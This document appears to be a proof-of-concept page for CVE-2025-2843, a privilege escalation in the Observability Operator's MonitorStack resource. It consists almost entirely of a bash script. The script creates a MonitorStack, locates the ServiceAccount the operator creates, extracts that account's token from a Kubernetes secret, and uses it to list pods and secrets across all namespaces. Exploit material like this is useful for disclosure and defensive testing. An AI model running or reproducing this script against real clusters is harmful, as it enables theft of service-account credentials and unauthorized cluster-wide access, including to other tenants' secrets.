CVE-2025-2843: Observability Operator MonitorStack权限提升漏洞

#!/bin/bash # CVE-2025-2843 PoC - Observability Operator MonitorStack Privilege Escalation # This PoC demonstrates how a namespace-privileged user can escalate to cluster-admin # Configuration NAMESPACE="monitoring" MONITORSTACK_NAME="malicious-monitorstack" # Step 1: Create a MonitorStack resource in the target namespace cat <<EOF | kubectl apply -f - apiVersion: monitoring.googleapis.com/v1alpha1 kind: MonitorStack metadata: name: ${MONITORSTACK_NAME} namespace: ${NAMESPACE} spec: prometheus: version: v2.45.0 retention: 30d EOF # Step 2: Wait for the Operator to create the privileged ServiceAccount echo "[*] Waiting for Operator to process MonitorStack..." sleep 10 # Step 3: List ServiceAccounts to find the created privileged account echo "[*] Enumerating ServiceAccounts in ${NAMESPACE}..." kubectl get serviceaccounts -n ${NAMESPACE} # Step 4: Find the ClusterRoleBinding created by the Operator echo "[*] Checking ClusterRoleBindings..." kubectl get clusterrolebindings | grep -i monitorstack # Step 5: Get the token of the privileged ServiceAccount SERVICE_ACCOUNT=$(kubectl get serviceaccounts -n ${NAMESPACE} -o jsonpath='{.items[*].metadata.name}' | tr ' ' '\n' | grep -i monitorstack | head -1) if [ -n "$SERVICE_ACCOUNT" ]; then echo "[*] Found privileged ServiceAccount: ${SERVICE_ACCOUNT}" # Get the token TOKEN=$(kubectl get secret -n ${NAMESPACE} $(kubectl get serviceaccount ${SERVICE_ACCOUNT} -n ${NAMESPACE} -o jsonpath='{.secrets[0].name}') -o jsonpath='{.data.token}' | base64 -d) echo "[*] Extracted token for privilege escalation" # Step 6: Use the token to impersonate cluster-admin echo "[*] Demonstrating privilege escalation..." kubectl --token=${TOKEN} auth can-i --list --all-namespaces fi # Step 7: Verify cluster-wide access echo "[+] Checking cluster-wide permissions..." kubectl get pods --all-namespaces --token=${TOKEN} kubectl get secrets --all-namespaces --token=${TOKEN} echo "[!] If you can see resources from all namespaces, privilege escalation succeeded!"